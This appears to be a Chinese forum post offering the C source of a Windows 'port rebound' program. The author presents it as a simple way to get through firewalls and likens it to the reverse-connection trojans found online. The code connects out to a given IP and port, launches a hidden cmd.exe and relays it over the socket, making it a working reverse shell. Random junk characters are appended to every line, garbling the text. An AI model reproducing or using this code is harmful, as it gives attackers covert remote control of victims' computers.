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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 sId(PT^  
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/* ============================== E_D ^O  
Rebound port in Windows NT ]dbSa1?  
By wind,2006/7 0+<eRR9 -  
===============================*/ 4o4 =  
#include 4`U0">gY  
#include 24jtJC,7  
o!toO&=  
#pragma comment(lib,"wsock32.lib") ^>X)"'0+  
c@ZS|U*(  
void OutputShell(); I' ! r  
SOCKET sClient; $~,}yh;  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ]C ~1]7vb  
bH\C5zt6(  
void main(int argc,char **argv) mYh5#E41J  
{ %`?;V;{=  
WSADATA stWsaData; ?)' 2l6  
int nRet; 9XoQO9*Q  
SOCKADDR_IN stSaiClient,stSaiServer; ^K.u ~p   
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if(argc != 3) t `Y!"l  
{ 8@ %mnyQ  
printf("Useage:\n\rRebound DestIP DestPort\n"); N=T.l*8  
return; EY)Gi`lK  
} a%T -Z.rd  
gM3]%L_  
WSAStartup(MAKEWORD(2,2),&stWsaData); /$9BPjO{  
%/y`<lJz(  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Z6^QB@moj  
@1qdd~B}  
stSaiClient.sin_family = AF_INET; 9:%n=URd  
stSaiClient.sin_port = htons(0); `D)Lzm R  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ,]Ro',A&  
}{5mH:  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) jWXR__>.  
{ %0yS98']g  
printf("Bind Socket Failed!\n");  k6O. H  
return; I%9bPQ  
} 3T|Y}  
Ts(t:^  
stSaiServer.sin_family = AF_INET; j1puB  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); -Aa]aDAz68  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); /Fe:h >6  
`k(u:yGK  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) }qiF^D}  
{ \9]I#Ih}M  
printf("Connect Error!"); X%GD0h]X#  
return; s !#HZK  
} zb5N,!%r  
OutputShell(); Xb]=:x(  
} I(]BMMj  
T~%H%O(F  
void OutputShell() sn-)(XU!  
{ $T?*0"Mj[  
char szBuff[1024]; g/8.W  
SECURITY_ATTRIBUTES stSecurityAttributes; OGJ=VQA  
OSVERSIONINFO stOsversionInfo; Y5ogi )  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; iW|s|1mh3  
STARTUPINFO stStartupInfo; ge0's+E+1  
char *szShell; K8 b+   
PROCESS_INFORMATION stProcessInformation; =2 &hQd   
unsigned long lBytesRead; Q !9HA[Ly  
'lhP!E_)q  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); M[aT2A  
7L=T]W  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); @iU%`=ziz  
stSecurityAttributes.lpSecurityDescriptor = 0; .3VK;au\\  
stSecurityAttributes.bInheritHandle = TRUE; #>8T*B  
r8uqcKfU  
PSTu/^  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); t`"^7YFS>  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); -@''[m.*  
=- $!:W~  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ^ <qrM  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; vd}*_d  
stStartupInfo.wShowWindow = SW_HIDE; UvkJ?Bu  
stStartupInfo.hStdInput = hReadPipe; V: ^JC>6  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; aje^Z=]  
-uWKY6 :5  
GetVersionEx(&stOsversionInfo); cYGRy,'gH  
2B7h9P.NB  
switch(stOsversionInfo.dwPlatformId) ,e9CJ~a  
{ u8Y~_)\MA  
case 1: '#v71,  
szShell = "command.com"; XQ]`&w(  
break; #gh p/YoTq  
default: l8z%\p5cR  
szShell = "cmd.exe"; _6;<ow  
break; *B0V<mV  
} </.z1 $  
NuU'0_")/  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); _u> t3RUA  
f1A_`$>  
send(sClient,szMsg,77,0); ZP"yq6!i  
while(1) ]Ap`   
{ !#q{Z>H`  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); hM~eJv  
if(lBytesRead) FbveI4  
{ /H')~!Yz  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 2Ok?@ZdjA{  
send(sClient,szBuff,lBytesRead,0); Bg-VCJI<  
} #c-b}.R  
else ?^|QiuU:n  
{ LI[ ?~P2\  
lBytesRead=recv(sClient,szBuff,1024,0); JwZ?hc  
if(lBytesRead<=0) break; D9~}5  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); OCCEL9d  
} sf`PV}a1  
} ;4 ,'y  
M Hg6PQIB  
return; (vKI1^,  
}
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